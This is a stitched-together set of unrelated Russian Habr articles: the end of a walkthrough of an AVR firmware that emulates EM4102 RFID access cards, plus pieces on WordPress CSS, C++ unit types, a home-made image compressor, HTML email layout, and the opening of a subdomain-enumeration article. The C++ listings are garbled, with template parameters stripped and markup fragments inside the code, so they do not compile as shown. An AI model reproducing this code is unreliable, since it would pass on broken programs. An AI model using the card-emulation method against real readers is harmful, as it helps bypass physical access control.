Вообще, хочу заметить, что катушку можно сделать вообще в виде дорожек на печатной плате, и при небольшой серии изделий так и стоит делать. Вот, пример такой платы, именно на 125 кГц от [Alexander Guthmann](http://www.alexanderguthmann.de/). К сожалению, сайт практически умер, а автор давно не выходит на связь, так что довольствуемся только моими фото. Если кто поможет его найти, буду признателен! Не знаю что с ним случилось.
Таким образом, делать эмулятор сразу в виде печатной платы — нет никаких проблем. Думаю имея руководство [[2]](http://ww1.microchip.com/downloads/en/appnotes/00710c.pdf), сможете рассчитать такое самостоятельно, раз это смог сделать четырнадцатилетний немецкий школьник.
Пробежимся по коду
------------------
Давайте кратенько пробежимся по коду, который можно посмотреть [вот тут](http://svn.navi.cx/misc/trunk/avrfid/avrfid.S). Там пример эмуляции двух типов карт, я разберу только EM4102.
Перво-наперво, как гласит код, нам при прошивке микроконтроллера надо прошить fuse-биты в значение *lfuse to 0xC0*: таким образом, чтобы контроллер тактировался от внешнего генератора. Обращаю внимание, что любая перепрошивка контроллера будет сопряжена с тем, что его надо будет тактировать от внешнего источника, так как мы устанавливаем fuse биты с генерацией от внешнего генератора!
Весь код основан на макросах. Напомню, что такое макросы — это программа, которая подготавливает код к компиляции. Наша программа состоит всего из нескольких ассемблеровских инструкций: rjmp, call (2 такта), nop, ldi, out и ret (все по 1 такту)! Всё, весь остальной код формируется макросами в зависимости от макроса серийного номера (дефайна). Особенность работы в том, что у нас достаточно мало тактов для нормальной работы. Попробуй успей за 32 такта сделать что-то, учитывая что инструкции перехода в контроллере AVR занимают 2 такта. Поэтому весь код генерируют макросы в зависимости от ID-карты.
```
#define FORMAT_IS_EM4102
#define EM4102_MFR_ID 0x12
#define EM4102_UNIQUE_ID 0x3456789A
```
Дефайнами задаём какой тип карты мы эмулируем и задаём ID-карты. Это главный макрос, на основании которого и формируется остальной код. И, тадам, его величество макросы.
```
.macro delay cycles
.if \cycles > 1
rjmp .+0
delay (\cycles - 2)
.elseif \cycles > 0
nop
delay (\cycles - 1)
.endif
.endm
```
Макрос задержки, принимает на вход количество тактов задержки. Достаточно очевидный рекурсивный макрос, осуществляет задержку с помощью команды nop (нет операции, 1 такт) и команды rjmp .+0 (перейти на следующую строку, 2 такта). Комбинируя эти команды между собой, можно сделать задержку нужной длинны в тактах. По сути код ничего не делает, только тратит машинное время.
Если вы ещё соображаете, то дальше я вам совсем изнасилую мозг, но код так гениален что вам придётся потерпеть.
Рекурсивный макрос кодирования манчестер-кодом.
```
.macro manchester bit, count=1
.if \count
manchester (\bit >> 1), (\count - 1)
.if \bit & 1
baseband_1
baseband_0
.else
baseband_0
baseband_1
.endif
.endif
.endm
.macro stop_bit
baseband_0
baseband_1_last
.endm
```
Собственно тут и осуществляется вся логика. Принимает на вход битовую маску и счётчик битов. Если счётчик не нуль, то вызываем ещё раз сами себя, декрементируя счётчик (рекурсивный макрос, ага). Далее в самом теле идут вызовы макросов baseband\_0, baseband\_1 и baseband\_1\_last. В зависимости от того, какой бит у нас “1” или “0”, мы модулируем сигнал манчестер кода с нуля на единицу или с единицы на нуль.
Помните выше я приводил таблицу в статье, как идёт кодирование содержимого карты, где идут биты чётности, и стоп биты в конце. Так вот, наша задача теперь ID-метки закодировать этим методом, для этого у нас существуют два макроса.
```
#define ROW_PARITY(n) ( (((n) & 0xF) << 1) | \
(((n) ^ ((n) >> 1) ^ ((n) >> 2) ^ ((n) >> 3)) & 1) )
#define COLUMN_PARITY ( (EM4102_MFR_ID >> 4) ^ \
(EM4102_MFR_ID) ^ \
(EM4102_UNIQUE_ID >> 28) ^ \
(EM4102_UNIQUE_ID >> 24) ^ \
(EM4102_UNIQUE_ID >> 20) ^ \
(EM4102_UNIQUE_ID >> 16) ^ \
(EM4102_UNIQUE_ID >> 12) ^ \
(EM4102_UNIQUE_ID >> 8) ^ \
(EM4102_UNIQUE_ID >> 4) ^ \
(EM4102_UNIQUE_ID) )
```
ROW\_PARITY — расчёт бита чётности в строке из четырёх бит, COLUMN\_PARITY — расчёт контрольной суммы всей посылки.
Вся логика работы у нас описывается в макросе в .main
```
header
manchester ROW_PARITY(EM4102_MFR_ID >> 4), 5
manchester ROW_PARITY(EM4102_MFR_ID >> 0), 5
manchester ROW_PARITY(EM4102_UNIQUE_ID >> 28), 5
manchester ROW_PARITY(EM4102_UNIQUE_ID >> 24), 5
manchester ROW_PARITY(EM4102_UNIQUE_ID >> 20), 5
manchester ROW_PARITY(EM4102_UNIQUE_ID >> 16), 5
manchester ROW_PARITY(EM4102_UNIQUE_ID >> 12), 5
manchester ROW_PARITY(EM4102_UNIQUE_ID >> 8), 5
manchester ROW_PARITY(EM4102_UNIQUE_ID >> 4), 5
manchester ROW_PARITY(EM4102_UNIQUE_ID >> 0), 5
manchester COLUMN_PARITY, 4
stop_bit
```
Ну то есть, так же точно передаём заголовочные 9 бит, потом манчестер кодинг, высчитывая бит чётности для каждых 4-х бит, в конце контрольная сумма и стоп бит.
Осталось разобраться, что же такое baseband. Для этого у нас служат ещё одни макросы обёртки (да сколько можно-то, а?).
```
.macro baseband_0
rcall baseband30_0
rjmp .+0
.endm
.macro baseband_1
rcall baseband30_1
rjmp .+0
.endm
.macro baseband_1_last
rcall baseband30_1
rjmp main
.endm
.macro header
manchester 0x1FF, 9
.endm
```
Макросы baseband\* — выполняют ассемблеровский код: вызывают соответствующие функции, и потом делают переход на другую команду. Макрос baseband\_1\_last — аналогична макросу baseband\_1, кроме того что делает безусловный переход не на команду ниже, а в начало функции main. Макрос header — служит для вывода заголовка из девяти однотипных бит равных единице, и вызывает макрос манчестера с передачей числа и количества передаваемых бит.
Последнее, что осталось разобрать — это функции baseband30\_0 и baseband30\_1. Они описываются следующим кодом.
```
baseband30_0:
ldi r16, OUT_PINS // 1
rjmp baseband30 // 2
/*
* Emit a 1 at the baseband layer.
* Takes a total of 30 clock cycles, including call overhead.
*/
baseband30_1:
ldi r16, 0 // 1
rjmp baseband30 // 2
/*
* Internal routine for baseband32_0 and _1. Must use
* a total of 24 clock cycles. (32 - 1 ldi - 2 rjmp - 3 rcall)
*/
baseband30:
out _SFR_IO_ADDR(DDRB), r16 // 1
delay 19 // 19
ret // 4
```
В зависимости от того, какая функция вызывается baseband30\_0 или baseband30\_1 в регистр r16 записывается значение того что должно быть на пине ввода/вывода: 1 или 0. После этого идёт безусловный переход на baseband30 осуществляется вывод и задержка на 19 тактов, после чего идёт возврат.
Самая большая магия этого кода, что он просчитан точно до каждого такта, каждый такт передачи манчестерского кода занимает ровно столько периодов, сколько допустимо стандартом, а именно 32 такта процессора! Это фантастически гениально, надо помнить сколько тактов занимает каждая команда.
Давайте его скорее скомпилируем и посмотрим как он выглядит, как развернутся все эти макросы. Компилируем командой make (предварительно установив avr-gcc) и дизассемблируем получившийся elf-файл
```
00000000 __vectors:
0: 0e c0 rjmp .+28 ; 0x1e __ctors_end
2: 15 c0 rjmp .+42 ; 0x2e __bad_interrupt
...
```
Вначале у нас вектора прерываний, но нас интересует только первый jump. Так как остальные вектора никуда не ведут.
```
0000001e __ctors_end:
1e: 11 24 eor r1, r1
20: 1f be out 0x3f, r1 ; 63
22: cf e5 ldi r28, 0x5F ; 95
24: d2 e0 ldi r29, 0x02 ; 2
26: de bf out 0x3e, r29 ; 62
28: cd bf out 0x3d, r28 ; 61
2a: 02 d0 rcall .+4 ; 0x30 main
2c: 11 c1 rjmp .+546 ; 0x250 _exit
```
Здесь мы настраиваем порты ввода/вывода, и вызываем функцию main. A main состоит из безумного количества вызовов функций baseband30\* и jump (так развернулся наша адский цирк макросов).
```
00000030 main:
30: 01 d1 rcall .+514 ; 0x234 baseband30_1
32: 00 c0 rjmp .+0 ; 0x34 main+0x4
34: fd d0 rcall .+506 ; 0x230 baseband30_0
36: 00 c0 rjmp .+0 ; 0x38 main+0x8
38: fd d0 rcall .+506 ; 0x234 baseband30_1
3a: 00 c0 rjmp .+0 ; 0x3c main+0xc
3c: f9 d0 rcall .+498 ; 0x230 baseband30_0
3e: 00 c0 rjmp .+0 ; 0x40 main+0x10
40: f9 d0 rcall .+498 ; 0x234 baseband30_1
42: 00 c0 rjmp .+0 ; 0x44 main+0x14
44: f5 d0 rcall .+490 ; 0x230 baseband30_0
46: 00 c0 rjmp .+0 ; 0x48 main+0x18
48: f5 d0 rcall .+490 ; 0x234 baseband30_1
4a: 00 c0 rjmp .+0 ; 0x4c main+0x1c
4c: f1 d0 rcall .+482 ; 0x230 baseband30_0
...
22e: 00 cf rjmp .-512 ; 0x30 main
```
И так далее… пока не джампнемся снова на main
Ну и глянем как же выглядит наш baseband модуль.
```
00000230 baseband30_0:
230: 08 e1 ldi r16, 0x18 ; 24
232: 02 c0 rjmp .+4 ; 0x238 baseband30
00000234 baseband30_1:
234: 00 e0 ldi r16, 0x00 ; 0
236: 00 c0 rjmp .+0 ; 0x238 baseband30
00000238 baseband30:
238: 07 bb out 0x17, r16 ; 23
23a: 00 c0 rjmp .+0 ; 0x23c baseband30+0x4
23c: 00 c0 rjmp .+0 ; 0x23e baseband30+0x6
23e: 00 c0 rjmp .+0 ; 0x240 baseband30+0x8
240: 00 c0 rjmp .+0 ; 0x242 baseband30+0xa
242: 00 c0 rjmp .+0 ; 0x244 baseband30+0xc
244: 00 c0 rjmp .+0 ; 0x246 baseband30+0xe
246: 00 c0 rjmp .+0 ; 0x248 baseband30+0x10
248: 00 c0 rjmp .+0 ; 0x24a baseband30+0x12
24a: 00 c0 rjmp .+0 ; 0x24c baseband30+0x14
24c: 00 00 nop
24e: 08 95 ret
```
В конце видно как delay развернулся в список jump и nop для задержки. Вот такая красивая магия.
Ну что же, с кодом разобрались. Соберите вытекший мозг с ушей, переходим к испытаниям.
Испытания
---------
Применим все полученные знания и проведём испытания. Компилируем прошивку, прошиваем контроллер, не забывая правильно выставить Fuse-биты.
**Платка для прошивки**
Подключаем наш колебательный контур и тестируем на настоящем промышленном считывателе, никаких полумер, честные боевые условия.
**Испытательный стенд**
И, о чудо! Оно работает, корректно считывается и в цикле даёт корректный ID! Без внешнего питания, с работой только от поля. Осталось всё это привести в порядок и сделать настоящую RFID-метку.
**Окончательный “заламинированный” вариант метки**
Итого
-----
Могу честно признаться, что до конца не верил, что это заработает. Питание от поля, нестандартные режимы работы контроллера, работа строго по тактам, самодельная катушка индуктивности. Плюс ещё работа самого RFID. И вот, вроде плёвая поделка растекается на пару месяцев чтения документации и разбора полётов. Но это работает, и эта штука по-настоящему гениальна. Так что ребята, вот такие штуки и есть настоящее хакерство. Дерзайте!
Домашнее задание
----------------
Раз вы всё-таки прочитали эту крутую статью, я её писал, старался, делал, теперь пора и вам что-то попробовать сделать. В коде эмулятора есть раздел, который эмулирует карты стандарта HID Proximity, с кодированием фазовым сдвигом. Вам в качестве развлечения и лучшего усвоения материала следует разобраться со стандартом HID и этим кодированием. Решение присылайте в комментарии. Удачи.
Список литературы
-----------------
1. [AppNote 411 RFID Made Easy](http://www.meraprojekt.com.pl/files/AN411.pdf)
2. [AN710 Antenna Circuit Design for RFID Applications](http://ww1.microchip.com/downloads/en/appnotes/00710c.pdf)
3. При подготовке статьи использованы материалы сайта [priority1design.com](http://www.priority1design.com.au/em4100_protocol.html)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=dlinyj&utm_content=rfidemulator#order) | https://habr.com/ru/post/515868/ | null | ru | null |
# Как изменить тему Wordpress неподготовленному человеку
**Update:>>>** Извините, пришлось добавить после начала дискуссии в комментариях. Не все дочитывают статью до конца, поэтому сразу скажу, что описываемый способ для тех, кто имеет лишь поверхностное, общее представление о том, что такое CSS и HTML. **<<<**
Столкнулся с этим вопросом в первые дни использования Wordpress, как движка для моего блога. Все темы, которые мне приглянулись, требовали небольшой добработки, а править стили оформления, когда страница формируется динамически, достаточно неудобно.
Не могу сказать, что являлся в то время знатоком HTML или CSS, потому требовался совершенно не требующий мозгов способ. И он нашелся.
Macromedia Dreamweaver. Я использовал 8 версию. (кстати, подойдет любой WYSIWYG-редактор, который имеет инструментарий для корректировки CSS.
Но, как уже было сказано ранее, содержимое страниц блога генерируется в момент выполнения скриптов, собственно это основная проблема.
Dreamweaver позволяет править и такие странички, если воспользоваться функционалом live data view (кнопка  панели инструментов). Но мне такой вариант не понравился, потому я так и не смог победить ошибку, которую выводила программа при попытке изменить какое-нибудь свойство CSS файла.
Потому сделал все проще. Так как мне надо было только откорректировать некоторые параметры CSS, я сохранил страницу блога локально (Файл — Сохранить как-Веб страница только HTML в FireFox). Далее открыл полученный файл.htm в текстовом редакторе и изменил путь файла CSS таким образом:
`themename/style.css type="text/css" media="screen" />`
на
`media="screen" />`
Следующий шаг — скопировал в папку, в которую сохранил страничку — файл style.css и папку images из каталога темы блога, которую желаю поменять.
Последнее действие — открываем сохраненный файл в Dreamweaver (или в вашем любимом редакторе). И в удобном окне меняем любые свойства CSS-ки.
После того, как все откорректировано, файл стиля сохраняем и копируем в каталог темы блога. Так же в каталог images копируем добавленные или измененные изображения.
Все.
Добавлю, что способ применим, когда требуется изменить расположение, размеры, цвет, какие-то дополнительные характеристики объектов на странице. Можно даже скрыть какие- элементы. Но добавить новые нельзя. Нельзя, потому что в документе разделены структура и стили. Структура отвечает за содержание и наполнение документа, а стили — за расположение, размеры, цвета и прочие детали художественного оформления страницы. Добавление новых элементов потребует изменения структуры документа, а не только стилей оформления, а это уже совсем другая история.
**PS** Я знаю, что многие редактируют HTML, PHP, CSS и прочие документы в программах типа Notepad. Мне тоже с некоторого момента такой способ ближе. Но выше я описывал, как это сделать проще, как изменить тему под себя совершенно неподготовленному человеку, знающему лишь азы html. | https://habr.com/ru/post/49267/ | null | ru | null |
# Type-rich Programming
Посмотрев конференцию [GoingNative 2012](http://channel9.msdn.com/Events/GoingNative/GoingNative-2012) решил попытаться описать «best practice» для написания программ в стиле C++11. Планируется цикл статей, кому интересно,
Зачастую программисты описывают интерфейс, который понятен только им или становится понятным после заглядывания в исходный код метода. Это плохо, если не сказать что ужасно. И дело не только в названии метода.
#### Пара примеров плохих интерфейсов
```
void increase_speed(double);
Rectangle(int,int,int,int);
```
На первый взгляд вроде не все так плохо, но можете ли вы ответить на вопрос, что за параметр нужно передать в increase\_speed? Зависит ли от параметра насколько увеличится скорость? В каких единицах измеряется приращение скорости?
Для ctor-а Rectangle с 4-мя параметрами вообще все сложно. Обозначают ли параметры геометрию прямоугольника? 3-ий параметр это ширина или x-координата второй точки? Ну и т.д.
К тому же при использовании встроенных типов или typedef'ов для встроенных типов мы не сможем написать increase\_speed, принимающую параметр в м/с и еще одну версию increase\_speed, принимающую км/ч. При использовании встроенных типов это будет одна и та же ф-ция increase\_speed(double).
#### Улучшенный вариант
```
void increase_speed(Speed); // В данной реализации уже видна зависимость от параметра
Rectangle(Point topLeft, BoxWH b); // Понятно, что нужно указывать левую верхнюю точку прямоугольника и ширину с высотой.
```
Уже неплохо, но остается проблема с единицами измерения и перегрузкой функций для разных единиц измерений. Давайте условимся все значения выражать в системе [СИ](http://ru.wikipedia.org/wiki/%D0%A1%D0%98) и попробуем заставить компилятор проверять единицы измерения на этапе компиляции.
##### Сохранение информации о размерности
Нам понадобится следующий шаблонный класс, который будет содержать степени при соответствующих основных единицах измерения (метр, килограмм, секунда):
```
template
class Unit { // Система СИ (МКС)
public:
enum { m = M, kg = K, s = S };
};
```
Все значения будем хранить с помощью такого шаблонного класса:
```
template
struct Value {
double val; //значение
explicit Value(double d) : val(d) {}
public:
/\*
\* Ф-ции для определения операторов
\*/
static constexpr int m() {return Unit::m;};
static constexpr int kg() {return Unit::kg;};
static constexpr int s() {return Unit::s;};
};
typedef Value > Speed; // Скорость = метр/секунда
typedef Value > Acceleration; // Ускорение = метр/секунда/секунда
typedef Unit<1, 0, 0> M;
typedef Unit<0, 0, 1> S;
```
Пример использования:
```
Acceleration acc1 = Value >(2); // Ускорение = 2 м/с/с. Ошибки нет.
Acceleration acc2 = Value(2); // Ошибка компиляции.
Speed sp1 = Value >(2); // Ошибка компиляции.
Speed sp2 = Value >(2); // Скорость = 2 м/с. Ошибки нет.
```
У нас осталось одно неудобство. Не описаны операторы для нашего класса Value. Т.е. пока мы не можем получить скорость простым делением метров на секунды. Давайте реализуем оператор деления (остальные операторы реализуются по аналогии).
##### Оператор деления единиц измерения
```
template
auto operator/(Value1 v1, Value2 v2)
-> Value > {
return Value >(v1.val / v2.val);
```
Теперь можем инициализировать значения следующим образом:
```
Acceleration acc = Value(100) / Value~~(10) / Value~~(1); // Ускорение = 10 м/с/с. Ошибок нет.
Speed sp = Value(100) / Value~~(20); // Скорость = 5 м/с. Ошибок нет.~~~~~~
```
#### Заключение
Что важно, оверхеда при такой технике проверки единиц быть не должно, все проверки выполняются на этапе компиляции. Для конвертации скорости из км/ч в м/с нужно будет написать функцию, вида:
```
Speed convertSpeed(KmPerHour val);
```
, где класс KmPerHour — элементарный класс, нужный для организации перегрузки функции convertSpeed. Используйте как можно больше уникальных классов, это поможет использовать перегрузку функций и избавит вас от необходимости использовать разные имена для идеологически одинаковых операций (convertSpeed(KmPerHour) и convertSpeed(KmPerSec) против convertSpeedFromKmPerHour(double) и convertSpeedFromKmPerSec(double)).
Код проверялся на gcc 4.6.3.
**P.S.:** В стандарте предусмотрены User-defined literals (в gcc начиная с версии 4.7), что позволит сократить запись до примерно следующего:
```
Speed sp =100m/20s; // При условии переопределения operator"" s(double) и operator"" d(double).
```
Спасибо за внимание.
**Upd:**Основной посыл статьи — не лениться писать классы для передаваемых параметров в ваши функции и проверять как можно больше на этапе компиляции. | https://habr.com/ru/post/144334/ | null | ru | null |
# 10 рекомендаций по html-верстке электронных писем
Рекомендация первая: забудьте про блочную верстку. Весь лэйаут должен быть на таблицах. При этом, без крайней необходимости — их тоже лучше не использовать. Также следует выкинуть из головы представления о семантике, сокращенных css-правилах, валидации, плавающих блоках — и прочее. Самый распространенный в РФ почтовый сервис на данный момент (*mail.ru*) вообще не понимает стили (css). Любые тэги/атрибуты *style* заменяются на *xstyle* и не работают. Вообще все.
Так что, фактически, при вёрстке html для почтовой рассылки надо мысленно переместиться в 90-ые годы прошлого века и смело использовать все распространенные приёмы того времени.
Для тех, кто с ними не знаком (как я был) — напомню:
#### 1) layout
ещё раз — **лэйаут на таблицах** (никакого позиционирования средствами css, никаких float'ов, clear'ов и пр.), причём, *mail.ru* автоматически добавляет довольно внушительные padding'и для всех *td*, это также надо учитывать ~~(например, если одна картинка порезана на куски и распихана по разным ячейкам — добиться их бесшовного соединения будет невозомжно)~~… но, хвала богам, мы можем использовать класс из стилей самого *mail.ru*, обнуляющий паддинги, он так и называется — *pad\_null*! спасибо, [rybyakov](https://habrahabr.ru/users/rybyakov/)!;
#### 2) css
для тех случаев, когда стили всё-таки будут поняты — существует ещё одно ограничение: **все стили должны быть инлайновыми** (т.е. находиться в атрибутах *style*):
> `<div style="...">...div>`
#### 3) padding-left, padding-right
горизонтальные отступы, по идее, делались в былые времена при помощи дополнительных ячеек таблицы… однако! нормальные веб-сервисы (типа *gmail*, *yandex* и *rambler*) не поймут любимой многими в прошлом конструкции:
> `<table cellpadding="0" cellspacing="0" border="0" width="100%">
>
> <tr>
>
> <td width="10" nowrap>td>
>
> <td width="100%">td>
>
> <td width="10" nowrap>td>
>
> tr>
>
> table>`
серединная ячейка растянется на все 100% (несмотря на *nowrap*), а левая и правая ячейки — исчезнут (т.е. их ширина будет равна нулю), поэтому **горизонтальные отступы «придётся» задавать при помощи css** (а для сочетания «*mail.ru* + резиновый дизайн», видимо, вариантов нет — только фиксированные размеры всех ячеек);
> была мысль использовать для создания левого отступа средствами чистого html соответствующий тэг, имеющий левый отступ «по умолчанию» — *dd*… однако! *outlook 2007*, осуществляющий рендеринг html-страниц при помощи движка от microsoft office word (!), начинает при этом страшно глючить, так что вариант отпадает;
#### 4) padding-top, padding-bottom
для создания вертикальных отступов надо использовать, как ни странно — **картинки** (!), т.е., действительно, сделать «пустую» картинку (лучше не 1×1, а хотя бы 10×10, чтобы письмо не оказалось вдруг в папке со спамом) и путём задания для неё нужной высоты формировать соответствующий отступ (также мы помещаем картинку в *div*, понятно, думаю, зачем):
> `<div><img src="padding.png" alt="" border="0" height="10">div>`
следует помнить, что единицы измерения (*px*) в значении атрибута не указываются — в соответствии со [стандартами](http://www.w3.org/TR/html4/sgml/dtd.html#Length) (спасибо, [alemiks](https://habrahabr.ru/users/alemiks/));
#### 5) font
чтобы поменять гарнитуру/размер/цвет шрифта придётся каждый раз задавать **ВСЕ** эти параметры при помощи архаичного тэга *font* (**каждый** раз — вообще для любого текста внутри любых блочных тэгов и **все**):
> `<font face="tahoma,sans-serif" color="#000000" size="2">текст ссылкиfont>`
если нужно поменять цвет ссылки, тэг *font* располагается внутри *a*;
#### 6) ссылки
ещё по ссылкам — следует не забывать добавлять атрибут *target* (да-да, невалидный) со значением *\_blank* (чтобы ваш сайт не пытался открыться прямо в окне почтового клиента) и если вы привыкли ставить «до поры до времени» в пустые ссылки решетку (*#*), не удивляйтесь, что *gmail* и *yandex* такие ссылки за ссылки не посчитают — проще говоря, лучше сразу задавать реальные адреса;
#### 7) цвета
для того, чтобы сделать прямоугольный блок с текстом, залитый каким-нибудь фоновым цветом, придётся делать таблицу, в ней строку, в ней ячейку и для ячейки — атрибут *bgcolor*, больше вариантов нет… кроме того, при задании любого цвета в шестнадцатеричном формате нельзя использовать сокращенную запись (например, *#FFF* вместо *#FFFFFF*) — заданный таким образом цвет автоматически трансформируется в чёрный;
#### 8) картинки в тексте
несмотря на то, что в любом самоучителе по html тех самых прекрасных времён рассказывалось, как можно сделать обтекание текста вокруг картинки (без всякого css) — при помощи атрибутов тэга *img*, а именно *align*, *vspace* и *hspace* — воспользоваться этим нам тоже нельзя :) некоторые почтовые клиенты (и среди них, например, *the bat*) эти атрибуты проигнорируют, при этом, *float:left* будет работать в них также криво (или не работать вообще) — вывод: опять спасаемся таблицами;
#### 9) картинки в оформлении
т.к. в *background* адреса картинок мы прописывать, фактически, не можем — все оформительские рисунки придётся включать при помощи тэга *img* и лучше обнулить межстрочный интервал, чтобы предотвратить возникновение нежелательных (и непонятных) отступов в том же *the bat*:
> `<div style="line-height:0;"><img src="border.png" alt="">div>`
и знайте, что прозрачные картинки (даже gif'ы) *the bat* заливает чёрным;
#### 10) программы и инструментарий
… точнее его отсутствие — для тестирования рассылки я, к моему сожалению (и удивлению), ничего лучше *outlook express* не нашёл — он позволяет легко создавать html-письма на основе шаблона (Сообщение → Создать с использованием → Выбор бланка...), но буду благодарен хабрасообществу за советы по этой части… да и вообще по всем :)
---
Статья моя — первая. Т.е. первая моя статья на Хабрахабре, но, конечно, не первое исследование в этой области, полезные ссылки — вот:
* [Поддержка CSS в почтовых системах Рунета](http://blog.mailcube.ru/2007/06/css_in_email/) (правда, данные, например, по *rambler* — устарели);
* [A Guide to CSS Support in Email: 2007 Edition](http://www.campaignmonitor.com/blog/post/2533/a-guide-to-css-support-in-emai-2/) (на английском)
* [Как правильно сверстать письмо в HTML формате](http://sdelaisait.com.ua/how-to-code-html-email/) (переводная)
А то, что я написал, на роль исследования не претендует, но всё подкреплено личным опытом. Любые мнения и дополнения, как я уже сказал, приветствуются.
**PS**: если кого-то заинтересуют точные (и современные) данные по отдельным почтовым клиентам и веб-сервисам — могу продолжить в дальнейших публикациях. | https://habr.com/ru/post/60420/ | null | ru | null |
# SSP — Собственный алгоритм сжатия изображений без потерь
Наконец–то появилась возможность опубликовать разработанный мною когда-то алгоритм. Алгоритм был разработан для программы автоматического снятия скриншотов. Для удобства дальнейшего его описания буду называть его – SSP (sciner screenshot packer). SSP можно справедливо сопоставить PNG, поэтому в статье я буду проводить сравнения именно с ним.
Алгоритм имеет два режима компресии:
1. без потерь – в котором, изображения после декомпресии будет восстановлено с точностью до бита;
2. с потерями – который не уменьшает качества картинки, просто в нем непосредственно перед сжатием, изображение переводится палитру [YcbCr](http://en.wikipedia.org/wiki/YCbCr)
Только лишь за счет изменения палитры удается существенно улучшить сжатие. Использую следующие коэффициенты:
`cY = 0.30078125 * R + 0.5859375 * G + 0.11328125 * B
cCb = -0.171875 * R - 0.33984375 * G + 0.51171875 * B + 128
cCr = 0.51171875 * R - 0.4296875 * G - 0.08203125 * B + 128`
Если попробовать сжать тестовую картинку –
Получим следующие результаты:
183 960 – Размер оригинального PNG–файла
155 932 – SSP (сжатие происходит за 0,2 секунды)
122 593 – SSP (lossy, с потерями)
Очень интересные результаты получаются при сжатии следующего изображения.
[www.libpng.org/pub/png/img\_png/16million-pschmidt.png](http://www.libpng.org/pub/png/img_png/16million-pschmidt.png)
59852 – PNG
1428 – SSP
Алгоритм содержит следующие этапы:
1. Изображение декодируется в RGB массив;
2. Если выбран режим с потерями, то производится перекодировка в палитру YcbCr;
3. Производится фильтрация изображения фильтром [Paeth](http://www.w3.org/TR/PNG-Filters.html) (предсказание значения по простой линейной функции);
4. Удаление повторяющихся пикселей не особо сложным способом:
`> For i = 4 To UBound(ByteArray) Step 4
>
>
> R = ByteArray(i + 0)
>
>
> g = ByteArray(i + 1)
>
>
> b = ByteArray(i + 2)
>
>
> If Not (lR = R And Lg = g And lB = b) Or (Cnt >= MAX\_ITERATE) Then
>
>
> If Cnt = MAX\_ITERATE Then Cnt = 0
>
>
> ByteArray(pos + 0) = lR
>
>
> ByteArray(pos + 1) = Lg
>
>
> ByteArray(pos + 2) = lB
>
>
> ByteArray(pos + 3) = Cnt
>
>
> lR = R
>
>
> Lg = g
>
>
> lB = b
>
>
> pos = pos + 4
>
>
> Cnt = 1
>
>
> Else
>
>
> Cnt = Cnt + 1
>
>
> End If
>
>
> Next`
5. кодирование [BWT](http://ru.wikipedia.org/wiki/BWT) (Преобразование Барроуза — Уилера), а именно — лучшая в мире реализация – Архон, автор — Дмитрий Малышев;
6. Далее идет моя функция, убирающая из полученного после предыдущего шага самый часто используемый байт и строящая битовую карту позиций, откуда убирали этот байт. Этот этап прогоняется 3 раза (экспериментально подобранное значение);
>
>
> Dim i As Long
>
> Dim iCnt As Long
>
> Dim SizeStream() As Byte
>
> Dim NewStream() As Byte
>
> Dim SizeLength As Long
>
> Dim SizeLengthReal As Long
>
> Dim NewLength As Long
>
> Dim NewLengthReal As Long
>
> Dim BitPos As Long
>
> Dim size As Long
>
> Dim Freq(255) As Long
>
> Dim FreqChar As Byte
>
> Dim FreqCount As Long
>
> Dim CurChar As Long
>
> Dim NewCount As Long
>
> Dim AddChar As Long
>
> Dim LastChar As Long
>
> Dim BitOr(7) As Byte
>
>
>
> size = UBound(bts) + 1
>
>
>
> SizeLengthReal = 1024
>
> ReDim SizeStream(SizeLengthReal)
>
>
>
> NewLengthReal = 1024
>
> ReDim NewStream(NewLengthReal)
>
>
>
> For i = 0 To 7
>
> BitOr(i) = (2 ^ i)
>
> Next
>
>
>
> For i = 0 To size - 1
>
> CurChar = bts(i)
>
> Freq(CurChar) = Freq(CurChar) + 1
>
> Next
>
>
>
> For i = 0 To 255
>
> If Freq(i) > FreqCount Then
>
> FreqCount = Freq(i)
>
> FreqChar = i
>
> End If
>
> Next
>
>
>
> For i = 0 To size - 1
>
>
>
> CurChar = bts(i)
>
>
>
> If (CurChar <> FreqChar) Then
>
> AddChar = AddChar Or BitOr(BitPos)
>
> End If
>
>
>
> BitPos = BitPos + 1
>
> If BitPos = 8 Then
>
> SizeStream(SizeLength) = AddChar
>
> If SizeLength + 10 > SizeLengthReal Then
>
> SizeLengthReal = SizeLengthReal \* 2
>
> ReDim Preserve SizeStream(SizeLengthReal)
>
> End If
>
> SizeLength = SizeLength + 1
>
> BitPos = 0
>
> AddChar = 0
>
> End If
>
>
>
> If (CurChar <> FreqChar) Then
>
> NewStream(NewLength) = CurChar
>
> If NewLength + 10 > NewLengthReal Then
>
> NewLengthReal = NewLengthReal \* 2
>
> ReDim Preserve NewStream(NewLengthReal)
>
> End If
>
> NewLength = NewLength + 1
>
> End If
>
> LastChar = CurChar
>
>
>
> Next
>
>
>
> '\*\*\*
>
> 'If AddChar <> 0 Then
>
> SizeStream(SizeLength) = AddChar
>
> SizeLength = SizeLength + 1
>
> 'End If
>
>
>
> ReDim Preserve bts((SizeLength + NewLength + 4 + 1 + 4))
>
>
>
> Call CopyMemory(bts(0), FreqChar, 1)
>
> Call CopyMemory(bts(1), size, 4)
>
> Call CopyMemory(bts(5), SizeLength, 4)
>
> Call CopyMemory(bts(9), SizeStream(0), SizeLength)
>
> Call CopyMemory(bts(9 + SizeLength), NewStream(0), NewLength)
>
>
>
> Erase SizeStream, NewStream
>
>
7. И заключительным этапом можно оставшееся сжать любым универсальным алгоритмом (Huffman, арифметик, zip). Я предпочитаю сжимать Lzma.
Скачать компрессор для поиграться можно здесь – <http://www.sendspace.com/file/nv2suu>
Кроме этого алгоритма в закромах также есть реализованный своим путем Jpeg, а также алгоритм волнового сжатия изображений с потерями наподобии Jpeg2000. | https://habr.com/ru/post/113668/ | null | ru | null |
# Как найти поддомены за считанные минуты?
Поиск поддоменов — неотъемлемая часть подготовки ко взлому, а благодаря некоторым инструментам противостояние этим действиям стало намного проще.
Незащищенные поддомены подвергают вашу деятельность серьезной опасности, а в последнее время произошел целый ряд инцидентов, при которых взломщики воспользовались поддоменами для обхода защиты.
В случае последнего из череды инцидентов весь код сайта [Vine](https://avicoder.me/2016/07/22/Twitter-Vine-Source-code-dump/) можно было загрузить с [незащищенного](https://geekflare.com/schedule-website-security-vulnerabilities-scan/) поддомена.
Если вы владелец сайта или изучаете вопросы информационной безопасности, вы можете воспользоваться следующими инструментами чтобы найти поддомены любого домена.
*От переводчика:
Надеюсь, что данные инструменты помогут Вам сохранить информацию на ваших [виртуальных](https://vds.menu/) и [выделенных](https://dedicated.menu/) серверах.*
Список инструментов:
